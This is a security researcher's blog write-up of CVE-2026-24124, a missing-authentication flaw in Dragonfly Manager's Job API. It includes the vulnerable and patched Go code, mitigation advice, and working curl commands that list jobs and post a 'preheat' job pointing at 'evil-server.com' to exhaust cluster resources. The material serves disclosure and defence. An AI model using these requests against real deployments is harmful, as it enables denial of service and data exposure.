CVE-2026-24124

The Road to Hell is Paved with TODOs: Unauthenticated Access in Dragonfly

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 23, 2026·6 min read·5 visits

Executive Summary (TL;DR)

Developers left a 'TODO: Add auth' comment on the Job API routes but forgot to implement it. This allows anyone with network access to the Dragonfly Manager (port 8080) to control background jobs. Attackers can abuse the 'preheat' feature to launch DoS attacks or exhaust cluster storage. Fixed in version 2.4.1-rc.1.

A critical oversight in the Dragonfly Manager component allowed unauthenticated attackers to access the Job API. Due to a missing middleware configuration explicitly marked with a 'TODO' comment, threat actors could trigger arbitrary file downloads ('preheat' jobs), delete active tasks, and inspect sensitive configuration data without any credentials.

The Hook: P2P Power without the Keys

Dragonfly is the heavy lifter of the container world. It’s an open-source P2P file distribution system designed to make downloading massive Docker images and files lightning fast across Kubernetes clusters. It relies on a central nervous system: the Dragonfly Manager. This component handles configuration, cluster management, and most importantly, scheduling background jobs.

Usually, when you install a system this powerful, you expect the control panel to be locked down tighter than a drum. You'd assume that telling the entire cluster to start downloading a 50GB file would require a password, a token, or at least a polite request.

CVE-2026-24124 turns that assumption on its head. It reveals that the door to the Manager's Job API wasn't just unlocked; the lock hadn't even been installed yet. It’s a classic case of functionality shipping before security, leaving the 'brain' of the P2P network exposed to anyone who can reach port 8080.

The Flaw: A Fatal TODO

Root cause analysis often leads to complex race conditions or obscure memory corruption. Not this time. This vulnerability is the digital equivalent of a post-it note on a bank vault saying, "Note to self: Install door later."

In the manager/router/router.go file, the developers define groups of API routes. Most sensitive routes—like those for managing clusters—were correctly wrapped in JWT (JSON Web Token) middleware and RBAC (Role-Based Access Control) checks. However, the route group responsible for Jobs (tasks like file preheating) was initialized naked.

The most cynical part? The code literally contained a comment acknowledging the security hole:

// TODO Add auth to the following routes and fix the tests.

Because the middleware was missing, the Go web framework treated these requests as public. The authorization check that verifies if a user has the right to create or delete jobs simply never happened. The request flowed straight from the network socket to the business logic without a bouncer in sight.

The Code: The Smoking Gun

Let's look at the diff. It’s rare to see a vulnerability so clearly defined by what is missing rather than what is written. Here is the vulnerable code block from manager/router/router.go before the patch:

// Vulnerable Code
// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs") // <--- No Middleware!
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Notice the isolation. Just a few lines above this block, other routes were using apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac). The Job API was effectively an orphan.

Here is the fix implemented in commit 9fb9a2dfde3100f32dc7f48eabee4c2b64eac55f. The developers finally honored their TODO:

// Patched Code
// Job.
// Added jwt.MiddlewareFunc() and rbac
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
// ...

By simply passing the authentication and authorization middleware to the group constructor, the loop is closed. The application now checks the Authorization header before processing the route handler.

The Exploit: Commanding the Swarm

Exploiting this does not require a debugger or shellcode. It requires curl. Since the API expects JSON and performs no checks, we can interact with it directly.

1. Reconnaissance (Information Disclosure) First, an attacker checks for active jobs. This might reveal internal URLs, S3 bucket paths, or file names being distributed across the infrastructure.

curl -v http://target-dragonfly:8080/api/v1/jobs

2. The Attack (Resource Exhaustion / DOS) The real danger lies in the POST method. The preheat job type tells Dragonfly to download a file from a source URL and cache it in the P2P network. An attacker can weaponize this in two ways:

  • Internal Denial of Service: Force the cluster to download a massive file (e.g., 100GB of garbage data) repeatedly, filling up disk space on the peers and saturating the internal network bandwidth.
  • Third-Party DoS: If the attacker controls the target URL, they can force the entire Dragonfly cluster to hammer an external victim server with requests.

Here is the payload to trigger a malicious preheat job:

curl -X POST http://target-dragonfly:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://evil-server.com/100GB.bin"
    },
    "scheduler_cluster_ids": [1]
  }'

If the server responds with 200 OK, the cluster effectively begins attacking itself or the target.

The Impact: Why Panic?

While this vulnerability doesn't immediately grant a remote shell (RCE) on the manager itself, it grants Logical RCE over the application's functionality. You are authenticated as an admin without credentials.

Availability Impact (High): An attacker can issue a DELETE request to /api/v1/jobs/:id for every active job ID they enumerate. This stops critical distribution tasks, potentially breaking deployments in a production Kubernetes environment. If your nodes rely on Dragonfly to pull images for autoscaling, your autoscaling logic breaks.

Integrity Impact (High): Attackers can manipulate the queue. They can inject garbage jobs that clog the scheduler, preventing legitimate jobs from being processed. In some configurations, if the preheat URL supports other protocols (like file://), there may be potential for Server-Side Request Forgery (SSRF), though HTTP/HTTPS is the primary vector here.

Confidentiality Impact (High): The job history is a log of everything the infrastructure is doing. It reveals what software versions are being deployed, where they are stored, and potentially sensitive tokens included in URL parameters if bad practices are followed.

The Fix: Closing the Window

The remediation is straightforward: Upgrade to Dragonfly v2.4.1-rc.1 or later. The patch enforces JWT authentication on the Job API.

If you are unable to patch immediately, you must block access to the Manager API at the network level.

Workaround Strategy:

  1. Network Policies: If running in Kubernetes, apply a NetworkPolicy that restricts ingress to port 8080 on the Manager pod. Only allow traffic from trusted sources (like your CI/CD runner or admin VPN).
  2. Reverse Proxy: Place an Nginx or Envoy proxy in front of the Manager that enforces Basic Auth or mTLS before forwarding the request to the backend.

Developers should also note that the fix introduced a DRAGONFLY_PAT (Personal Access Token) environment variable. This was added to allow automated tests to pass now that auth is enforced, preventing the "fix the tests" part of the original TODO from blocking the security patch again.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.9/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Affected Systems

Dragonfly Manager (v2.x series <= 2.4.1-rc.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Dragonfly Manager
DragonflyOSS
<= 2.4.1-rc.02.4.1-rc.1
AttributeDetail
CWE IDCWE-306 (Missing Authentication)
CVSS v4.08.9 (High)
Attack VectorNetwork
Privileges RequiredNone
ImpactLogical RCE / DoS
Patch Commit9fb9a2dfde3100f32dc7f48eabee4c2b64eac55f
CWE-306
Missing Authentication for Critical Function

Vulnerability Timeline

Vulnerability identified and patched in version 2.4.1-rc.1
2026-01-15
Public disclosure via GHSA and CVE assignment
2026-01-16

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.